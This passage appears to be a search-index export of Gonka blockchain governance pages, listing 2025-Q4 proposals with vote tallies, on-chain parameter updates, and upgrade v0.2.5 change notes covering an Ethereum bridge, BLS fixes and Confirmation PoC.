"}, {"location": "proposals/proposals/2025-q3/6/full-proposal/#fix-preventing-generation-of-nonce-duplicates-1ae494372cb216046ab25ee179e3c21f392c5329", "title": "Fix: Preventing generation of nonce duplicates (1ae494372cb216046ab25ee179e3c21f392c5329)", "text": "Node.NodeNum and StartPoCNodeCommand.TotalNodes fields are used to guarantee a unique nonce sequence for each participant's MLNode. The previous version used len(nodesToDispatch) as the value for TotalNodes. At the same time, if a node is deleted and re-added in the same epoch, its NodeNum is determined by incrementing b.curMaxNodesNum. This can cause NodeNum to be greater than len(nodesToDispatch), which could break the uniqueness of nonce sequences.
This commit fixes this by using curMaxNodesNum as TotalNodes.
dee011bfbc41f43cefde0c64b1efc6746976e01e", "text": ""}, {"location": "proposals/proposals/2025-q3/6/full-proposal/#paginator-fixes-ecdfb135773f1e4854468a0e7585bd54bfe1d9fd", "title": "Paginator fixes ecdfb135773f1e4854468a0e7585bd54bfe1d9fd", "text": "This PR fixes a critical issue where queries intended to fetch all items were silently truncated to the first 100 results due to default Cosmos SDK pagination settings. This could lead to incomplete data processing and inconsistent state.
"}, {"location": "proposals/proposals/2025-q3/6/full-proposal/#key-changes_1", "title": "Key Changes", "text": "SettleAccounts: Updated to read all participants directly from the store, which is more appropriate and efficient for on-chain logic. Added tests to make sure we're settling for all the participants in the state and not only for the first 100.get_participants_handler: Implemented manual per-page fetching for the public API endpoint. Queries are pinned to a specific block height to ensure data consistency across pages.GetPartialUpgrades: Corrected to use a new GetAllWithPagination utility, ensuring all partial upgrade plans are fetched from the chain.3ea3e5b5b1aa758e29741d5a5312dd41be10bf95)", "text": "The commit introduces multiple fixes and security improvements:
"}, {"location": "proposals/proposals/2025-q3/6/full-proposal/#missed-node_id-to-pocbatch-inference-chainxinferencekeepermsg_server_submit_poc_batchgo", "title": "Missednode_id to PoCBatch (inference-chain/x/inference/keeper/msg_server_submit_poc_batch.go)", "text": "node_id is used to detect which node produced the nonce's batch
node_id", "text": "inference-chain/x/inference/module/model_assignment.go distributed before batches without node_id between another nodes. As now all MLNodes returns node_id => that it not needed anymore
unassignedMLNodes from inference-chain/x/inference/module/model_assignment.go are not counted in total weight anymore Total weight of participant is recomputed after all filtering
Binom test inference-chain/x/inference/calculations/stats.go is now used for: - not pay reward if statistically signigicant > 10% of requests are missed (inference-chain/x/inference/keeper/accountsettle.go) - not pay claim if statistically signigicant > 10% of validations are missed (inference-chain/x/inference/keeper/msg_server_claim_rewards.go) instead of hard check for all validations
ACTIVE for all ActiveParticipant when switch epoch", "text": "inference-chain/x/inference/module/module.go:moveUpcomingToEffectiveGroup
inference-chain/x/inference/keeper/msg_server_start_inference.go inference-chain/x/inference/keeper/msg_server_finish_inference.go
c8e6aefcf88958f5f2968cc9f305e1d6c0028dcd)", "text": ""}, {"location": "proposals/proposals/2025-q4/", "title": "2025-Q4 Proposals", "text": "Passed Rejected Voting With Funding
2025-Q411 proposals
#17 – Expected amount of Confirmation PoC per epoch Passed Submitted 2025-12-25 Voting ends 2025-12-26 Expected amount of Confirmation PoC per epoch to 4, p0 for binomial test to 0.1 Yes 3,261,413 (100.0%) · No 85 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #16 – Upgrade Proposal: v0.2.6 Passed Submitted 2025-12-19 Voting ends 2025-12-20 Upgrade Proposal: v0.2.6 Yes 1,985,917 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #15 – Upgrade Proposal: v0.2.6 Rejected Submitted 2025-12-16 Voting ends 2025-12-17 Upgrade Proposal: v0.2.6 Yes 1,034,445 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #14 – Sale GNK from Community Fund Passed Submitted 2025-11-26 Voting ends 2025-11-27 Sale GNK from Community Fund Yes 1,180,961 (98.8%) · No 9,781 (0.8%) · Veto 4,577 (0.4%) · Abstain 0 (0.0%)20,000,000 GNK · Community Pool #13 – Upgrade Proposal: v0.2.5 Passed Submitted 2025-11-21 Voting ends 2025-11-22 Upgrade Proposal: v0.2.5 Yes 428,459 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #12 – Bandwidth Limits Passed Submitted 2025-11-12 Voting ends 2025-11-13 Bandwidth Limits Yes 257,565 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #11 – Bandwidth Limits Passed Submitted 2025-11-12 Voting ends 2025-11-12 Bandwidth Limits Yes 349,596 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #10 – Bandwidth Limits Passed Submitted 2025-11-12 Voting ends 2025-11-12 Bandwidth Limits Yes 287,496 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #9 – Higher Bandwidth Limits & Voting Time Back to 24H Passed Submitted 2025-11-11 Voting ends 2025-11-11 Higher Bandwidth Limits & Voting Time Back to 24H Yes 394,887 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #8 – Upgrade Proposal: v0.2.4 Passed Submitted 2025-10-22 Voting ends 2025-10-22 Upgrade Proposal: v0.2.4 Yes 286,826 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #7 – Upgrade Proposal: v0.2.3 Passed Submitted 2025-10-03 Voting ends 2025-10-03 Upgrade Proposal: v0.2.3 Yes 132,672 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%)← Back to all proposals
"}, {"location": "proposals/proposals/2025-q4/#2025-q4-summary", "title": "2025-Q4 Summary", "text": "11Total Proposals 10Passed (91%) 1Rejected (9%) Governance Parameters5 Software Upgrade5 Funding / Grants1 20,000,000 GNK · Community Pool"}, {"location": "proposals/proposals/2025-q4/10/", "title": "#10 – Bandwidth Limits", "text": "Passed
Proposal ID: 10
Type: Update Params
Submit: 2025-11-12 19:26 UTC
Voting: 2025-11-12 19:26 UTC → 2025-11-12 22:26 UTC
Expedited: Yes
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
View on gonka.gg
Bandwidth Limits
"}, {"location": "proposals/proposals/2025-q4/10/#final-tally", "title": "Final Tally", "text": "Yes 287,496 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 287,496 votes"}, {"location": "proposals/proposals/2025-q4/10/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"60\",\n \"poc_exchange_duration\": \"5\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"120\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"80\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": null,\n \"confirmation_poc_safety_window\": \"0\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"20\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"60\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": null,\n \"bad_participant_invalidation_rate\": null,\n \"invalidation_h_threshold\": null,\n \"downtime_good_percentage\": null,\n \"downtime_bad_percentage\": null,\n \"downtime_h_threshold\": null,\n \"downtime_reputation_preserve\": null,\n \"quick_failure_threshold\": null,\n \"binom_test_p0\": null,\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": false,\n \"confirmation_poc_v2_enabled\": false,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": false,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"0\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 0,\n \"max_inferences_per_block\": \"0\"\n },\n \"confirmation_poc_params\": null,\n \"genesis_guardian_params\": null,\n \"developer_access_params\": null,\n \"participant_access_params\": null,\n \"transfer_agent_access_params\": null,\n \"devshard_escrow_params\": null,\n \"fee_params\": null,\n \"delegation_params\": null,\n \"maintenance_params\": null\n }\n }\n]\nPassed
Proposal ID: 11
Type: Update Params
Submit: 2025-11-12 20:00 UTC
Voting: 2025-11-12 20:00 UTC → 2025-11-12 23:00 UTC
Expedited: Yes
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
View on gonka.gg
Bandwidth Limits
"}, {"location": "proposals/proposals/2025-q4/11/#final-tally", "title": "Final Tally", "text": "Yes 349,596 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 349,596 votes"}, {"location": "proposals/proposals/2025-q4/11/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"60\",\n \"poc_exchange_duration\": \"5\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"120\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"80\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": null,\n \"confirmation_poc_safety_window\": \"0\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"100\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": null,\n \"bad_participant_invalidation_rate\": null,\n \"invalidation_h_threshold\": null,\n \"downtime_good_percentage\": null,\n \"downtime_bad_percentage\": null,\n \"downtime_h_threshold\": null,\n \"downtime_reputation_preserve\": null,\n \"quick_failure_threshold\": null,\n \"binom_test_p0\": null,\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": false,\n \"confirmation_poc_v2_enabled\": false,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": false,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"0\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 0,\n \"max_inferences_per_block\": \"0\"\n },\n \"confirmation_poc_params\": null,\n \"genesis_guardian_params\": null,\n \"developer_access_params\": null,\n \"participant_access_params\": null,\n \"transfer_agent_access_params\": null,\n \"devshard_escrow_params\": null,\n \"fee_params\": null,\n \"delegation_params\": null,\n \"maintenance_params\": null\n }\n }\n]\nPassed
Proposal ID: 12
Type: Update Params
Submit: 2025-11-12 21:22 UTC
Voting: 2025-11-12 21:22 UTC → 2025-11-13 00:22 UTC
Expedited: Yes
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
View on gonka.gg
Bandwidth Limits
"}, {"location": "proposals/proposals/2025-q4/12/#final-tally", "title": "Final Tally", "text": "Yes 257,565 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 257,565 votes"}, {"location": "proposals/proposals/2025-q4/12/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"60\",\n \"poc_exchange_duration\": \"5\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"120\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"80\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": null,\n \"confirmation_poc_safety_window\": \"0\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"100\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": null,\n \"bad_participant_invalidation_rate\": null,\n \"invalidation_h_threshold\": null,\n \"downtime_good_percentage\": null,\n \"downtime_bad_percentage\": null,\n \"downtime_h_threshold\": null,\n \"downtime_reputation_preserve\": null,\n \"quick_failure_threshold\": null,\n \"binom_test_p0\": null,\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": false,\n \"confirmation_poc_v2_enabled\": false,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": false,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 0,\n \"max_inferences_per_block\": \"0\"\n },\n \"confirmation_poc_params\": null,\n \"genesis_guardian_params\": null,\n \"developer_access_params\": null,\n \"participant_access_params\": null,\n \"transfer_agent_access_params\": null,\n \"devshard_escrow_params\": null,\n \"fee_params\": null,\n \"delegation_params\": null,\n \"maintenance_params\": null\n }\n }\n]\nPassed
Proposal ID: 13
Type: Software Upgrade
Submit: 2025-11-21 09:13 UTC
Voting: 2025-11-21 09:13 UTC → 2025-11-22 09:13 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/e25ddb7d462972cce202c8b39448bf3feb8e29a0/proposals/governance-artifacts/update-v0.2.5/README.md
View on gonka.gg
Upgrade Proposal: v0.2.5
"}, {"location": "proposals/proposals/2025-q4/13/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2025-q4/13/#upgrade-proposal-v025", "title": "Upgrade Proposal: v0.2.5", "text": "This document outlines the proposed changes for on-chain software upgrade v0.2.5. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services and introduces the new service bridge for the native bridge with Ethereum. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.5 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
The bridge container can be started any time after upgrade by:
Pulling the latest changes from main branch (after upgrade-v0.2.5 merged)
git pull\nStart
source config.env && docker compose up bridge -d\nIt'll take some time to synchronize.
New MLNode container v3.0.11 is fully compatible with v3.0.10 and can be updated asynchronously at any time. Additionally, the version v3.0.11-blackwell is introduced for Blackwell GPUs (CUDA 12.8+ required).
The PR introduces 3 contracts: - liquidity pool - wrapped token - Ethereum contract
All contracts might be proposed for voter approval via separate proposals.
"}, {"location": "proposals/proposals/2025-q4/13/#testing", "title": "Testing", "text": ""}, {"location": "proposals/proposals/2025-q4/13/#testnet", "title": "Testnet", "text": "The on-chain upgrade from version v0.2.4 to v0.2.5 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q4/13/#migration", "title": "Migration", "text": "The on-chain migration logic and default values for new parameters are defined in upgrades.go.
Specific data migrations are implemented in: - migrations_confirmation_weight.go: Initializes confirmation weights for the current epoch. - migrations_bridge.go: Removes legacy bridge state and artifacts.
Note on Inactive Participant Exclusion: The parameters for the continuous exclusion of inactive participants (SPRT) are initialized with values that effectively disable the mechanism (requiring ~32k consecutive failures). This ensures the feature remains inactive until explicitly enabled via governance.
Note on Confirmation PoC: The Confirmation PoC parameters are initialized to require 1 Confirmation PoC per Epoch.
"}, {"location": "proposals/proposals/2025-q4/13/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2025-q4/13/#native-bridge", "title": "Native Bridge", "text": "Commit: f7470c1eab3ebdda30dda90b0d81131b7b472a64.
This commit introduces primitives for native bridge for the Ethereum blockchain and contracts for its integration. Details can be found here.
"}, {"location": "proposals/proposals/2025-q4/13/#bls-signature-fix", "title": "BLS Signature fix", "text": "Commit: f7470c1eab3ebdda30dda90b0d81131b7b472a64.
This commit fixes a bug in BLS Group Public Key generation.
"}, {"location": "proposals/proposals/2025-q4/13/#participant-status-update", "title": "Participant Status Update", "text": "Commit: 101062297948f9a9574266adaf6439500502d6ba
This commit fixes the procedure for removing invalid and unavailable hosts from the EpochGroup. It also introduces a mechanism for continuously excluding inactive participants using SPRT.
Details: here
"}, {"location": "proposals/proposals/2025-q4/13/#confirmation-poc", "title": "Confirmation PoC", "text": "Commit: e9dbf137b0fbb050c724877b4b607da88ab1dc64
This commit introduces Random Confirmation PoC - a new layer to verify inference-serving nodes maintain computational capacity during the whole epoch.
Details: here
"}, {"location": "proposals/proposals/2025-q4/13/#new-schedule-for-poc_slottrue-nodes-who-serves-inference-during-poc", "title": "New Schedule forPOC_SLOT=true (nodes who serves inference during PoC)", "text": "Commit: 9ce1b6099529e69cdfd792f966efedb077c4ad86
The chain automatically assigns a portion of MLNodes to serve inference during the next PoC phase to keep inference working. The initial version assigned 50% of weight per participant per model. To raise security, this commit proposes allocation of POC_SLOT=true by model weight percentages instead of per-participant halves, using a random subset of participants who served this model in the previous epoch.
Details: here
"}, {"location": "proposals/proposals/2025-q4/13/#blackwell-support-for-mlnode-and-fixes", "title": "Blackwell Support for MLNode and Fixes", "text": "Commit: b77dcaca528ccfcf74e5f02d2bc90d55229a22f5
Fix for vLLM to support Blackwell GPUs (tested on B200).
"}, {"location": "proposals/proposals/2025-q4/13/#account-transfer-fix", "title": "Account transfer fix", "text": "Commit: 4228a70579c195fcb7b989ddf19006d0ddf1e8ae
The commit fixes the bug which used the full account balance to transfer instead of the spendable amount. Now locked coins and spendable are transferred separately.
"}, {"location": "proposals/proposals/2025-q4/13/#paginator-fix-for-getmembers", "title": "Paginator fix forGetMembers", "text": "Commit: bbce9f4f296c4df9b722367f47b162c9cb6f6d46
The commit fixes a bug with a missed paginator for the GetMembers function. This caused the selection of only a subset of miners. That might cause \"unknown\" status of validator.
Commit: 1352c131aff8713578033362b7dc2c3e22684277
The commit fixes the MLNode status check to assign status \"FAILED\" if the node is not responding. Additionally, it adds a retry mechanism when a host has multiple MLNodes for the model.
"}, {"location": "proposals/proposals/2025-q4/13/#recalculate-total-weight-after-punishment", "title": "Recalculate total weight after punishment", "text": "Commit: cf2d3931d2a1f8f9205194d12a4d7aa9b1d43980
The commit fixes a bug where undistributed rewards paid to the first host included rewards for invalid participants.
"}, {"location": "proposals/proposals/2025-q4/13/#bls-signature-fixes-aggreagation-and-format", "title": "BLS Signature Fixes: Aggreagation and format", "text": "Commit: e4bbb293f79ed0f368900092c9e65393ca25bfdf
This commit fixes aggregation of partial signatures and align format with Etherium pre-compiled.
"}, {"location": "proposals/proposals/2025-q4/13/#changing-default-mlnode-state-to-inference", "title": "Changing default MLNode state to INFERENCE", "text": "Commit: deefc869249c873377ae0feb0336aee3ac5034f1
This commite changes default state for ML nodes from STOPPED to INFERENCE. This allows to validate missed inferences for claming a reward even if a node is disabled for the next epoch
Fixed a bug: ML node host and port updates are now correctly propagated, previously old addresses were cached and even after editing them via admin API PoC start requests would be sent to the old address
--
